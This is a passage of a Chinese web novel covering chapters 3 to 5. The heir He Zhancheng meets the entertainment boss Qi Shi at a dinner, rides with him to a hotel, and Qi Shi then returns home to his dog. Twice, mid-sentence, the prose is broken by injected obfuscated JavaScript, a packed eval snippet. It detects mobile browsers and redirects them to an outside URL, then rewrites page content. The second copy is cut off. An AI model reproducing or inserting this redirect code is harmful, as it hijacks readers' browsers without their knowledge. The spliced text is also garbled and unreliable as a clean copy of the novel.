陈北劲到底是懂礼数的人,一直没好意思冷落人家,何湛程早看出来了,陈北劲在他生日宴上全程低头族,拿着手机各种拍,拍完又没完没了的傻笑,显然是和那位不知名姓的小情人正如胶似漆着,所以,他亲爱的表哥此时身在曹营心在汉,内心应该比热锅上的蚂蚁还要着急吧? 啊呀,他这个看客的心情可是非常的舒畅啊! 何湛程低头拧动门把,将门往身前一带,门外也传来一股强劲的推力,不待他多想,视野里便闯入一截被撸起黑色卫衣袖子的劲瘦小臂,腕上戴着和这只手臂格外适配的劳力士,下一秒,一双被运动裤包裹着修长的腿迈了进来。 何湛程愕然抬头。 男人也注意到了他,下意识挑了下眉,上下迅速打量他一眼。 “湛程?” 虽是问询,对方却很确定地叫出了他的名字,熟稔的语气自带几分对小辈的随意,像称呼自家弟弟一样称呼他。个子也比他高,目测将近一米九的巨人,几乎抵上门框顶,因此无论是说话还是打量人,都自带几分居高临下的意味。 这是个气场很强的男人,凌厉的五官透着从骨子里迸发出野性恣肆,梳理得一丝不苟的乌黑大背头与白净透亮的皮肤显出十足的精致感,极为贵气逼人。 他衣着简单轻便,整个人洋溢着青春气,乍一看就是个帅气男孩,然而成熟有型的标准化身材无形地释放出他作为一个上位者超乎常人的自律与强悍,又令人不禁对他心生崇拜与信服。 何湛程愣了一下,随机脱口而出:“Wow!” 3. 第3章 “哟,怎么都穿这么正式?” 戚时一进门,立刻就察觉到包厢里坐着个长得跟洋娃娃似的美女,一袭法式绒白小香风套裙,乌黑长发及腰,高贵又冷艳,令人一瞧就心动不已。 戚时直接越过旁边盯着自己瞅的小傻子,笑脸就朝那一男一女迎上去了。 陈北劲早有预料,起身挡在林翘楚身前,先一步伸手捏住了戚时肩膀,寒暄似的拍了两下,上下打量人一身运动装衣着,玩笑道:“我们一帮子人等你老半天,你这又上哪儿玩儿去了?” “不给你发消息了么,这个点儿路上堵车都是家常便饭,你又不是不知道。”戚时不给面子地拨开他手,饶有兴致地将目光投向他身后,询问道:“这位是?” 林翘楚起身,和陈北劲对视一眼。 陈北劲允许似的,冲她点了下头。 林翘楚便朝戚时伸出手,冷淡的面容露出礼数恰好的微笑:“时哥你好,我是姑姑介绍给北哥的相亲对象,和湛程一起来燕京玩儿的,你叫我翘楚就行了。” “你姑姑是?” “哦,我姑姑是湛程的母亲,何太太。” 不说不知道,一说吓一跳,这又是何家背景,又是陈家的准儿媳妇,甚至都不用报上她的真实身份,这就已经是大有来头的人了,戚时知道自己惹不起,在她身上来回打量的目光立刻收敛起来,颇为绅士地虚握了下她的指尖,客气点头:“行,没事儿了常来京城玩儿,有困难随时找我,别见外。” 林翘楚笑道:“谢谢时哥。” 这一声称呼十分温柔,引得戚时忍不住又在她垂在肩头的发梢上流连几秒,心里是止不住的遗憾。 这确实是他喜欢的类型,黑长直,皮肤白,一米七多超模般的身材,端庄又贵气,也不是简单的花瓶,漆黑明亮的眸子里透着一股子冷淡与精明,不经意微微抬起的下巴,出卖了她真实性格里难藏的傲慢,却莫名勾起他作为一个男人的征服欲。 不过戚时心里清楚,像林翘楚这种出身名门的女子,他就算有十个擎荣集团也高攀不上。 人家是真正的千金大小姐。 人家和陈北劲这种世家子弟才一路人。 戚时略微遗憾地轻啧一声。 他真的鲜少遇到自己的理想型,今天一见林翘楚,仿佛看到他曾经梦想过无数次的妻子朝自己走来,可那也只是曾经。 自从入了这个圈子,他便深陷其中无法自拔,不过短短五六年,他从最初抱着保守的心态去不断尝试触碰这个圈子的底线和边界,到如今纸醉金迷昏天黑地的疯玩儿,他承认他大多数时候都活得很爽,可每每遇见林翘楚这样的人,他就被迫打回原形,总不禁自惭形秽,退避三舍,甚至隐隐担忧起自己可能会孤独终老的未来。 如果不是为了他哥…… 想什么呢? 戚时在心里狠狠给了自己一巴掌,堕落了就是堕落了,他哥当初难道就是心甘情愿的堕落么? 他哥是为了他才踏上的这一条路,他现在又在清高些什么? 难不成把步入迷途的错因全都推到旁人身上,就能显得自己很干净么? 可笑。 他其实很早就坦坦荡荡地接受了自己是个人渣的事实,并且为了让自己和家人愉快且富有地活下去,他准备将这些劣质的品德保持到死。 落座后,戚时回过劲儿来,隔着陈北劲一个大活人,笑容满面地望向林翘楚,恭维道:“不敢请教林小姐芳龄,但陈北劲比我小两岁,我现在叫你一声弟妹不过分吧?” 林翘楚连忙摆手:“不不不,嫂——早了!太早了!这称呼我可担当不起,时哥你还是叫我翘楚吧!” 戚时挑了下眉,瞅一眼旁边悄咪咪掏手机的陈北劲,又瞅一眼林翘楚,点点头:“成,都成!” 扭头对身旁的陈北劲说:“干嘛呢你,我一来就玩手机,几个意思啊?你们不是饿半天了么?现在人齐了不上菜啊?” 陈北劲无语,叹了口气,把刚掏出来还没来得及解锁的手机又揣回去,起身按铃叫上菜。 转身一瞥,这才看见站在门口的何湛程,有点惊讶:“老三你还没去上厕所?” 当了半天空气的人突然被点了名,正说着话的戚时和林翘楚也扭头望过来,何湛程嗓子一紧,连忙移开自己几乎钉在了某人身上的视线,笑着朝陈北劲走过去:“没感觉了,突然就不想去了,我饿了,哥你快叫上菜吧。” 听到铃声的领班敲门进来,看向陈北劲:“陈总。” 陈北劲一扬手,领班会意点头,安静关门退下。 何湛程站在陈北劲旁边,余光瞥到戚时右手侧的空位,正寻思着怎么想个办法坐过去,肩膀就被陈北劲一把揽了过去,送礼物似的推到戚时面前:“喏,介绍一下,这我们家老三,以后他就跟你混了,都是自己人,你把他当自己亲弟弟欺负就行,千万别太客气啊!” 戚时:“……” 何湛程:“……” 林翘楚:“……” 陈北劲又拍拍何湛程肩膀,催促着:“老三,叫人。” 何湛程深呼吸一口气。 他从小到大见过的大人物数不胜数,肥头大肚的,英剧倜傥的,像他几个哥哥那样英俊风流的青年才俊也不少,但头一次,他居然有点儿小紧张。 可能对方浑身都散发一种致命的野性,连头发丝都彰显着一股难以令人驯服的狂气,个性外放,看起来很不好惹,但莫名勾得人心痒痒。 清咳一嗓子,学着刚才林翘楚的样子,他矜持地向坐在位子上的男人伸出手,平缓的声音夹出一丝丝讨巧的乖:“二哥。” 扶在他肩膀上的大手突然一僵。 戚时恍然不觉,冲他点了下头,也像刚才一样,只是碰了下他的指尖就迅速抽手收了回去。 “坐吧,”戚时顺手拉出身旁的椅子,冲他抬抬下巴,“别听你哥瞎说,他老陈家规矩礼数多,我不一样,你在我面前随便些。” “嗯。”何湛程心满意足地坐到了戚时的旁边。 菜很快上了,何湛程察觉到陈北劲为了照顾翘楚姐(或许还有自己?)的口味,净点的清淡菜,但显然不太合戚时的胃口。不过那俩人从始至终都没动过几下筷子,一直在喝酒聊天,似乎很投的来。 擎荣和盛铭的合作,何湛程也略有耳闻,陈北劲搞了个影视基地的项目,急需借助娱乐行业的巨头公司带头帮忙导入市场,令这个投资数亿的项目迅速变现,以向盛铭高层证明他决策的正确性。 但不知怎的,后来陈北劲和戚时闹了点不愉快,听风声貌似是陈北劲的问题,但现在俩人又和好了,还好得跟穿一条裤子的好哥们儿似的,就不禁令何湛程觉得,戚时这人也挺好哄的。 5%的股份,何湛程虽没看过两方协约的其他利益关系,但最后落到戚时本人手里的纯利润,实际也没多少子儿。 好哄,非常好哄。 何湛程直接忽视陈北劲的人格魅力,兴冲冲掏手机给他大哥发消息: —在没,给我账户打点儿钱 过了会儿,备注“死装男”的人回: —要钱干什么,你卡里这么多还不够你花的? 何湛程不耐烦了。 他花他爸的钱,为什么每次都要看这个外人的脸色?难道他这辈子注定要在老大的庇护下生存了吗? 何湛程咬牙切齿。 其实每次找老大要钱,他都对这种仰人鼻息的卑微姿态感到很不痛快,可老大的能力确实是整个家族有目共睹的,他没兴趣追逐,更没何闽轩那么大野心。 只是偶尔,他也会萌生出他何湛程也要干点儿惊天动地的大事业的念头,证明他不比家里的任何一个人差劲。 可他拥有的实在太多,多得数不完也花不完,多到能将他整个人、乃至他的整个未来都淹没,他三分钟热度的志气也就很快就随风消散了。 现在,何湛程悔不当初,早知道有今天花钱的日子,他就早付出行动了。 一边后悔一边愤愤地回复: —我在人家的地盘儿上,要是不用点钞能力,我能过得舒坦么? “死装男”秒回: —知道了。 何湛程冷哼一声。 等了会儿,没收到打款信息,猜测老大可能心里不爽,暂时不想管他。 但没关系,反正按老大的习惯,再过个两三天肯定会钱到位就是了。 饭桌上,戚时和陈北劲的话题从娱乐圈跳到地产开发上,陈北劲提到他最近盯上的一个新项目,说云南有块地,政策优惠力度大,他本人势在必得,下月初会亲自飞过去一趟看看,准备拿下后用来种咖啡豆。 “咖啡豆?”戚时也表露出兴趣:“怎么突然做这个?” “这不是突然,”陈北劲故作高深地指指自己的鼻子,笑道:“这叫商业敏锐度。我家里有人爱喝咖啡,厨房角落常年堆积着各种产品,每次送他豆子前我都会先做份调研,做着做着就发现这行市场潜力挺大,嗯……我都想好了,等回头我弄几台好机器,挑个便宜地儿盖个车间,就做精品咖啡豆,卖高价利润绝对可观。” “哟,”戚时挑眉,“你懂机器?” “不懂,”陈北劲说,“但李铮鸣在德国那边有人脉,我回头顺嘴一提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409012|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事儿,他指定能搞定。” “哟,”戚时来劲了,“李铮鸣?泰华集团的李铮鸣?你还认识他啊?” “老早认识了,我俩校友,他是我学长。” “哟,那敢情好!”戚时激动地一拍大腿:“我早就想跟他们合作了,回头你得闲了,必须得给我俩介绍一下啊!” 陈北劲拿杯子倒酒,态度模棱两可:“有机会吧,他年前才回国,集团一堆事儿,眼下正忙着呢。” 戚时不爽了,脸色一沉:“你少给老子整这套,我把你当哥们儿才有话直说,你搁这儿跟我装模作样打太极,糊弄谁呢?我可告诉你啊,这事儿是你先提的,你提的你就得负责任,我不管他多忙,反正你今年必须找机会把人给我约出来,听见没?” 陈北劲瞥他一眼。 戚时作势就要撸袖子干他。 陈北劲拗不过他这种流氓式威胁,只得挥挥手:“行行行,那你欠我一个人情啊。” “什么人情,你先把人给我约出来再谈人情。” 泰华集团专攻AI智能科技,戚时嗅觉敏锐,老早就认为人工智是个巨大的潜在市场,一直想趁着国内AI尚未普及来分一杯羹,奈何本集团手下的技术人员能力有限,想去别家公司挖墙脚也始终没能挖到核心上,今天吃顿饭的功夫就能有机会和泰华搭上线,真是得来全不费工夫。 兴头上来,戚时红光满面,拽着陈北劲又多喝了两杯。 何湛程涉世未深,他们谈生意上的事,他插不上嘴,只全程盯着身旁男人的侧脸—— 整个饭局,戚时始终面向陈北劲和林翘楚那边,背对着自己,脖子扭了半天,竟然也不嫌累得慌? 酒过三巡,临近散场。 戚时盛情如火,加上了林翘楚的微信,又得知她是来京城旅游的,立马就要派人帮她安排酒店行程,说今晚夜色实在美丽,想要带她这个女主角和另外俩赠品去坐几圈摩天轮,一览帝都夜景风光。 陈北劲直白回绝,说林翘楚是他的客人,归宿如何,他自有安排,然后一把扭过戚时的肩膀,强迫他面向何湛程,说:“这才是你要管的人。” 戚时啧了一声。 这一身西装革履的小男孩,不愧是出身优渥的千金少爷,一脸的清秀贵气,漂亮得像只人畜无害的小奶羊。抛开性格,单看模样,这看起来单纯无脑的小傻子还真适合当宠物来养,心下想着,难怪何夫人惯得何老三不像话,他要是也有这样一个儿子,指定也要把人宠上天。 或许是他到岁数了,戚时突然理解了那些宠孙无度的老人家们,奔三的年纪,居然看一个讨厌的小辈都能瞧出几分讨人喜的乖来。 戚时唇角不自禁浮现出慈祥的笑意。 他不知道这小傻子在折腾什么,看起来笨笨的,实在不像是个会到处惹是生非的坏种。 小傻子正比划着手机镜头,寻思着偷拍一张某人侧脸,然后发给许若林品鉴一番,没料戚时突然转过头,眼前登时放大一张俊美狂放的帅脸,惊得他魂儿都险些出窍,手机差点儿掉地上。 “二、二哥,”何湛程咽咽吐沫,迅速镇定下来,冲人摇了摇手机,笑道,“也和我加个微信吧。” 戚时点点头,和人互换微信,随口问了句:“多大了?” “刚满二十。” 何湛程低头给人添备注,手指敏捷地敲下“27,190,总裁,?”,录入完扫了一眼,感觉这备注不太对味儿,想了想,干脆改成了两个字备注:二哥。 虽然他家里也有大哥和二哥,但因为过于复杂的家庭关系,三兄弟彼此都互看不顺眼,日常直呼对方姓名,或者直接叫排行。他二哥和大哥的关系倒还好,但到了他这里,就谁也和他处不来,尤其上次那件事,他亲二哥知道他插足了别人的感情,不护着他就算了,还在家里带头叫他小三儿,实在恶俗得令人讨厌。 相反,他在外面喊的哥哥倒比较多。 “咱俩差七岁呢,”戚时给他备注好,抬头瞅他,“你这名儿叫起来挺拗口,湛程,湛程,我老想叫你程湛,这样吧,我以后要不就叫你小三儿吧?” 何湛程:“不要。” 戚时挑眉:“咋?” 何湛程盯他:“我不喜欢。” 戚时满不在乎地笑了起来,丝毫没有恶作剧被戳穿的尴尬,闲闲地靠着椅背,长腿叠起,随意地挥了下手指:“那我叫你程儿吧,行么?” 任是再迟钝的人也能察觉到对方态度轻蔑,何湛程不傻,也不迟钝。 他只是单纯的目标明确。 目不转睛地盯着对方如神般俊美的脸,微笑:“行啊。” 4. 第4章 四人在饭店门口分手,戚时还不死心,非要带着弟妹去坐几圈摩天轮,说什么今晚大晴天,月亮弯,星星亮,希望弟妹能赏光,满足一下他毕生的愿望。 众人无语,不理解这才刚见过一面的人,怎么就成他“毕生”的愿望了。 谁都没理他这茬,陈北劲带着林翘楚上车前,不忘揶揄了句戚老二少耍流氓或许能多活几年,戚时笑骂了句,砰一声替人关上了车门,冲人吆喝道: “算你小子福气好!记得把李铮鸣给我约出来,不然电话给你打爆!” “行了,我答应过的事儿什么时候没给你办到,磨磨唧唧的,不知道的还以为咱俩搞对象呢!” 陈北劲冲戚老二摆了下手,又扭过头,看向站在戚时旁边装乖的何湛程,和人意味深长地对视一眼。 “老三,出门在外,记住你是何家的人,你的一举一动都代表着你父亲和你大哥,所以不管做什么事,你自己心里有点儿数。” 何湛程老实点头:“放心吧哥,我知道。” 陈北劲松了口气,关上车窗,对司机吩咐了句“走吧”。 黑色锃亮的商务奔驰消失在灯火阑珊的夜色里。 随着眸色逐渐变深,何湛程平抿的唇角也一点点不安分地翘起。 他知道陈北劲这是在警告。 但—— 他从小到大听最多的,就是别人对他的警告。 扭过头,仰脸望向身旁的男人,笑颜挽上对方手臂:“二哥,我陪你去坐摩天轮吧。” 戚时正伸手进兜里摸烟,冷不丁被何湛程箍住,吓得身子一闪,登时跳出半米外,诧异的眉毛飞得老高:“什么摩天轮?” 何湛程咬了下后牙槽,好脾气地笑:“……你不是想要去坐摩天轮么?” 戚时嗤笑一声,叼上烟,漫不经心地打火,齿间含混:“那种花哨的小玩意儿,我只和我喜欢的女人一块玩儿。” 何湛程耸耸肩:“我是小孩儿,你也可以带我玩儿。” 戚时不置可否。 扭脸朝旁边喷了口烟,斜眼瞥他:“怎么,你不是挺招人喜欢的么?没人陪你玩儿么?” 何湛程浅浅一笑,不作回应。 他能看出戚时在嫌弃他,也能看出对方的属性比电线杆还直,绝无可能和他搞在一起,他感到很不痛快,可下一秒又被人几乎冲破华丽皮囊下的痞劲儿迷得有些眼晕。 何湛程斟酌着自己要不要收手。 到底手里没实权,年纪又小,他做不到像他二哥那么疯,所以向来只玩儿你情我愿的游戏,更不会干自取其辱的事。 戚时没兴趣深究这小傻子的心事,一手夹烟,一手插兜,迈着长腿朝停在路边那辆耀黑的野马走去。 “时候不早了,我也该撤了,正好顺路送你去酒店,等过几天他们剧组开工了,我秘书会亲自过来替你安排好你的吃喝住行。放心吧,搁我这儿,只要你安分守己不给我惹事,我肯定亏待不了你。” 何湛程亦步亦趋跟在人身后,发黏的目光在身前人挺拔的背影上四处游离,嘴角微微扬着,越瞧越喜欢。 戚时是那种血肉饱满的男人,喜怒外露,个性张狂,浑身散发着迷人的危险气息。 他参加半商业化的聚会穿着也很随便,自然流露出的不拘小节倒令人不好责备他不懂礼数,完全是天生的自由主义者,可他脉络分明的小臂上——那缠在他腕上的一圈价值连城的银亮色表带,像条冷冰冰的锁链,无形将他和他的自由束缚起来。 莫名的……禁欲。 何湛程没忍住低头一笑。 他居然会觉得一个身边美女如云的雄性肉食性动物禁欲。 “这是你的车?” 何湛程站在副驾门旁,扭头去看身旁人的眼色。 戚时直接一把拽开副驾车门,下巴冲里一抬,示意他上车:“我秘书的,我的车让她开走了。” 何湛程心满意足坐上自己的理想位置,笑声打趣:“没看出来,二哥你还是个体贴员工的好老板啊。” “哦,那倒也不算。”戚时砰地一声摔上车门,叼着烟三两步绕过车头,坐进来一边发动车子,一边继续道:“我让她开我的车接孩子放学去了,我们家果果有点儿娇气,不是我的车她坐不惯。” 何湛程笑容僵在脸上。 他没听说过戚时结婚了啊…… 怎么现在连孩子都有了? 隐婚? 还是私生子? 就像他大哥那种的? 何湛程咂舌,这种事也不好问,因为谁家都会有点见不得光的烂事儿,这一点忌讳他还是懂得识相避开的。 真是扫兴。 何湛程兴致全无,抬手松了下领带,百无聊赖地撑着胳膊托腮,看向车窗外在夜幕下流淌着鎏金般璀璨灯火的层叠起伏的建筑群。 不知道是时间太晚,亦或是北方本身就荒凉,车行一路,哪怕经过繁华地段,视野始终单调如一。因是初春,路旁绿化景观尚残留着去年寒冬的冷瑟萧条,显出浓烈的衰败气象,有些早已闭馆的景点路段,在游客稀少的夜晚愈发显得陈旧肃穆,路人只要稍一注目,便无形感受到那些旧府邸上空蔓延出来的古代皇朝的阴森气。 何湛程很快就看倦了。 一扭头,身旁男人已经燃上了第二支烟,露半张若隐若现的脸,眉骨、鼻梁、嘴唇,锋利的线条在朦胧的薄雾里有种别样的柔和与销魂。 音响里放着国外某知名rapper动感十足的流行乐,男人一脸淡定地打着方向盘,不为所动的表情很让人怀疑他究竟是做娱媒行业的幕后大佬,还是一个拥有着闷骚性格的音痴健身房老板。 戚时右眼皮一抬,目光闲闲地扫向副驾:“怎么,介意我抽烟?” 何湛程莞尔:“我介意你就会不抽么?” 戚时笑了声,下一秒,降下车窗,直接将嘴里叼着的炽红烟头掐灭,随手抛在了车窗外。 “会啊,你不早说。” 车外冰冷的寒风卷着男人身上淡淡的香烟味扑面而来,何湛程却觉得脸上莫名发热,一时倒不知道怎么回答了。 他当然知道戚时是故意戏弄他,刚才吃饭三个多小时,就因为他表哥陈北劲不喜欢闻烟味,戚时全程没碰过一下烟盒,等到两拨人分别了,戚时倒开始不间断地抽上了,显然是没把他何湛程当回事。 可就算戏弄他又怎样? 这种劣质又坦率的捉弄,这样毫无遮拦的坏心眼,反而有种幼稚的可爱。 在人人都喜欢带着假面具客套虚伪的生意场上,一个有权有势的上位者愿意在自己面前展露他的真实,也算是很难得了。 俗话说得好,男人不坏,男孩儿不爱。 何湛程自动将“戚时这样做完全是因为自己地位无足轻重”的真实原因抛在脑后,心想,这才不到一个晚上,他已经反复喜欢上了这个人三次,这还是从来没有过的事,他也不贪心,看在戚时已经做父亲的份儿上,他今晚能亲到对方就好了。 何湛程又积极起来,惯例开始他促进关系的暖场活动: 闲聊。 “二哥?” 似乎没想到都把人欺负到这份上了,何湛程居然还会主动和自己搭话,戚时眼中的诧异一闪而过,同时脸上浮上几分不太理解的钦佩。 尽管心里讨厌,但他没必要太针对一个比自己小七岁的小傻子,于是随口应道:“嗯,你说。” “你从什么时候开始抽烟的?” “高三吧,”戚时回忆道,“我上高中的时候挺混的,天不怕地不怕的,老觉得我有个无所不能的哥,就算天塌下来他也会罩着我,后来才知道他在外面过得跟孙子似的,到处看人脸色,就为了能让我在家里做皇帝……为了让他开心点儿,我就想考个好大学给他一个惊喜,那时候冲刺高考,天天累得狗似的,每天就睡三四个小时,喝咖啡都免疫了,就靠抽烟提神儿。” 何湛程惊讶于戚时这人居然还挺有良心,不过掌控擎荣集团的这俩兄弟完全是草根出身,一路走来那都是相依为命、历经坎坷,这亲哥俩是众所周知的感情深厚,他并不意外,便笑声吹捧:“二哥你这么努力,后来一定考上理想的大学了吧?” “没,”戚时略微尴尬地抬手蹭了下鼻子,“我走的单招,我燕京体育大学毕业的。” 何湛程:“……哦。” 戚时不满意了,扭头瞪他:“你以为燕体很好考么?” 何湛程愈发觉得对方可爱,慢悠悠地举手投降:“我说呢,二哥身材这么好,原来是体育生。” 戚时一秒被哄好,忍不住臭屁起来,冲人抬了抬他那肌肉紧实的太平洋宽肩,语气不无炫耀:“怎么样,练得还行吧?” 何湛程竖起大拇指:“男人中的极品,极品中的理想型!” 戚时被夸舒服了,眼角眉梢是藏不住的得意,话也多了起来,不禁用一种过来人的口吻嘱咐着:“男人么,虽然做不到女人那么前凸后翘,但咱该有的还是得有,不过我看你这么瘦,你以后要想练的话得先增肌,不然细胳膊细腿儿的,回头练得跟个剥了皮的牛蛙似的,也不好看。” 何湛程巴不得跟人有话题,连忙趁机道:“二哥你不知道,我办了一堆健身卡呢,就是平时人懒,三天打鱼两天晒网的,我找的那些头牌私教都是大块头肌肉男,身上都跟打了酵母似的,我看见他们就没心情,现在好了,我感觉你比他们专业多了,回头我们约个时间,你带带我啊?” “这个么……” 戚时心虚地移开视线,开始懊悔自己的不稳重。 什么时候才能戒掉这个臭毛病? 每次碰到感兴趣的话题就开始和人无边无际地聊,聊开心了突然一回神,才发现对面是个自己讨厌的人。 幸亏前面就是酒店,戚时一脚猛踩油门,气势汹汹地就杀了过去,余光瞥见小傻子还在等着自己开口,随口甩人一句:“办这么多地方的健身卡,怕不是只为了健身吧?” 何湛程被人不客气的戳穿噎住了,不过他俩也算是同道中人,半斤八两的,谁也没必要嘲讽谁。 何湛程本打算再扭转话题,先磨着人把这事儿给他应允了,不然错过这村,再想见戚时一面可就没机会了,没料这才眨眼间,他们的车就已经停在了酒店门口。 是盛铭集团旗下的五星酒店,他表哥陈北劲的家族产业,他来之前,陈北劲就通知人给他留了总统套房,包括家里的行李也都提前运到这儿来了。 何湛程出远门没有带行李的习惯,一般到了地方,他缺什么就买什么,大部分时候他连买都不用买,有眼色的人自动就会把东西送上门来了。 这次的行李是他大哥的手笔。 他中午才刚答应来燕京,他大哥派人不到一个小时就搬空了他的卧室,下午就装箱子发车了,俨然是要把他扫地出门的意思。 隔着车窗,何湛程眯眼望着不远处那座富丽辉煌的大酒店,一种身处异乡的孤独感顿时袭遍全身,那令人熟悉的、冷冰冰的失重感,让他迫切地想抓紧身边的人、迫切地想要通过与人触摸来获取自己存在的真实感。 有时候,他大脑是清醒的,可身体已经迷失了;有时,他忘我的陶醉,日夜沉沦在奢靡繁华的梦里,只为寻求一点感官上的刺激。他时常分不清现实和虚无,更认不清自己,他试图通过人来唤醒自己,可又迷失在形形色色的人里。 他父母都视他为垃圾败类,他不介意做个败类。 做败类总比做一个空心的行尸走肉强。 出了一会儿子神,何湛程发现戚老二居然没催他下车,一转头,就见方才还跟自己谈笑风生的男人一脸坚忍地低头咬着牙,两手肘堪堪撑在方向盘上,连鬓角都出了一层薄薄的细汗。 何湛程一惊,连忙解了安全带,二话不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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戚时嗓音故作深沉地轻咳一声:“没事儿,我秘书车上常备的有止疼药,你在抽屉里找找。” 何湛程察觉到对方的紧张,浅浅一笑,也不戳穿,帮人找到了药,又从车座后面拿了瓶未开封的矿泉水,然后坐在一旁,看着戚时仰着头,左手一把药,右手一口水,随着喉结滚动两下,将水和药吞咽下去。 吃完药后的戚时还没好,气色有些虚弱,像只病恹恹的老虎,埋头趴在方向盘上缓劲儿。 何湛程抽出几张纸巾,俯身过去要帮人擦掉额角的汗,玩笑道:“刚才还说二哥身体好,没曾想原来是坏在了里——” 啪的一声,几乎是掳掠般的凭空截断,男人猛然抬起的手掌将他凑过去的手腕握住,何湛程吓了一跳,疑惑的视线和人对上,男人没什么表情,只是懒洋洋坐起身,扭头看他:“你是客人,再怎么着,也用不着你来伺候我,早点儿回去歇着吧,我也要走了。” 走? 何湛程眉毛差点飞起来! 这才几点?他今晚的任务还没完成呢! 可…… 何湛程看戚时眼下这副还在忍疼装镇定的表情,估计也没心思搞什么风花雪月的事儿。 而且,他确信自己的意思已经传达到了,愿不愿意领悟,就看戚老二自己了。 “那我走啦!”何湛程跳下车,转身冲人招手,笑得一脸灿烂:“二哥你路上慢点啊,到家后给我发个消息!” 戚时一动不动地攥着方向盘,盯着车外异常活泼明媚的男孩儿,蹙起的眉头都要拧成疙瘩了。 不禁怀疑起自己来。 这真的是何澜生的那个臭名远扬的小畜生么? 这真的是那个让何闽轩气得发疯恨不得当街大义灭亲的坏种么? 这真的是陈北劲那些人像避瘟神一样恨不得退避三舍的人么? 真的是眼前这个人么? 怎么……在他面前,这个人是那么的不一样? 这一整晚,这白白净净的小少爷跟在自己后面一口一个二哥的叫,叫得那么软,那么甜,哪怕心是石头做的人也会变得心软吧? 这么乖巧懂事儿的小男孩,待人接物也有礼数,还会伺候人…… 可能是下三流无良媒体捕风捉影随意编造,传着传着就离谱了? 毕竟探索豪门秘辛一向在八卦娱乐新闻里很有市场,比如他,前两年还有人传他戚老二成天泡会所玩女人,大字标题给他送了个“一夜七次郎”的封号,还牵扯上了他旗下的两名当红女艺人,经纪部门谈好的商务合作也一个接着一个被解约,短短两个月,他平白无故蒸发了十个亿,气得他直接抄钢棍一路开车飙到对方公司把人办公室砸得稀巴烂,又派出集团最强法务上阵,把对方告得连裤衩都没剩,这事儿才算彻底了结。 不管从前有多少人靠胡言乱语挣饭吃,反正如今在娱媒行业,只有他戚时写报道污蔑别人的份儿,还没人能有胆子敢骑在他的头上作死。 不过…… 关于何老三这事儿,不管真的假的,都跟他戚老二没关系。 今晚过后,他也不打算再和这个争议颇多的小破孩联系了。 冲人点了下头,拧钥匙发动着车子。 “二哥!”那人又喊他一声。 正要掉头,戚时犹豫了下,缓缓降下车窗,侧头朝外望去。 男孩儿一脸期待地问:“你会给我发消息的吧?” 戚时蹙起眉,犹豫几秒,嘴比脑子先回应: “当然。” “OK,那我等你啊!” “好。” 该死的! 戚时关上车窗,一脚油门疾驰上路,刚离开那人的视线,反手就狠狠给了自己一巴掌。 “好好好,好你大爷的好!” 5. 第5章 “汪!” “汪汪!” 车头灯亮着,戚时刚一关门下车,别墅前院里由远及近奔来几声撒欢的狗叫。 一整日在外奔波的疲惫登时烟消云散,戚时缓缓露出笑容,站在门口张开双臂,稳稳接住犹如离弦之箭般猛扑来的、毛茸茸的小狗。 是条才六个月大的阿拉斯加,体型适中,外貌像头灰蓬蓬的小狼,俩前爪搭在戚时的肩上,开心地蹭在男人怀里撒娇。 戚时笑声爽朗,伸手挠了两下果汁儿的下巴,亲昵道:“我们公主今天乖了没?上学和朋友们玩得开心吗?没再吃屎了吧?想爸爸了吗?嗯?真乖!” “戚总。” 秘书茉莉早换下公司里的职业西装,一身浅灰运动装,走过来时扶了扶眼镜,递上狗绳:“小千金的晚饭我已经喂过了,饭后在附近公园遛了她半个小时,回家后让她休息了两个半小时,这会儿在院子里玩儿了半天,稍后该休息了。” “今天教练说她情绪有点儿低迷,训练过程也不太开心,应该是太依赖主人了,他们建议您有空了要多陪陪她。” “行,”戚时点头,“我知道了,这不前阵子太忙了么,又怕她在家里憋坏了,等这期课上完,我就把她带公司去。” “呃……”茉莉面露难色,委婉提醒道:“戚总,咱们公司到处都挂得有禁止宠物入内的警示牌,您这……” “咋?”戚时一扬眉,满不在意道:“不就是几块破牌子么,能有我们公主重要?你派人直接拆了不就得了?” 茉莉咬了下唇,无奈点头:“好,往后我通知安保部门多注意就是了。” “行,你看着弄。”戚时放下狗,扬手将钥匙抛给她:“今天就到这儿,没别的事儿你也撤吧,回头我把何老三地址发你,他那边的事儿就全权交给你来安排了,你客气归客气,也别太供着了,他要当客人就让他随意,他要当祖宗你直接赶人就行了,出什么问题都算我的,去吧!” 茉莉接过钥匙:“好的戚总,那我下班了。” 说完,一路小跑去开车,临走前,不忘隔着车窗扭头冲老板挥了挥手。 戚时嘴角一扬,冲人点了下头。 其实在茉莉之前,他就已经开除了四个无论学历、相貌还是能力都是万里挑一的秘书了,原因无他,纯粹是觉得整天和一个冲着自己职业性假笑的美女人机打交道很别扭,对方越专业、能力越精湛,他就觉得自己审美有问题。 那么美的一张脸,是怎么做到整天摆出那么一副机械性公化式表情? 戚时自问他不是那种霸总偶像剧里的高冷BOSS,下属倒是一个比一个还要精英派,说到底他们做的是娱乐公司,秘书总板着一张脸,他这个老板看着心情也不太好,不过招到第五个茉莉—— 他是故意放宽了条件,招了个活泼青春的小姑娘,没曾想这才第二年,茉莉也变成了仿佛被吸干了精气的机器人,从开朗俏皮蜕变成现在的沉静如水,口头禅也从之前的“好嘞老板儿~”变成现在的“好的,戚总”。 今晚难得见人临下班露出有人味儿的一面,看起来仍是原来那个性格可爱的姑娘,这样瞧着才让人舒心嘛! 可爱。 戚时脑海里掠过这个其实并不符合他审美类型的词。 低头看一眼果汁儿。 果汁儿毛茸茸的,两颗葡萄大眼亮晶晶地望着自己,浑身散着一股讨人喜的狗味儿,也可爱得要死。 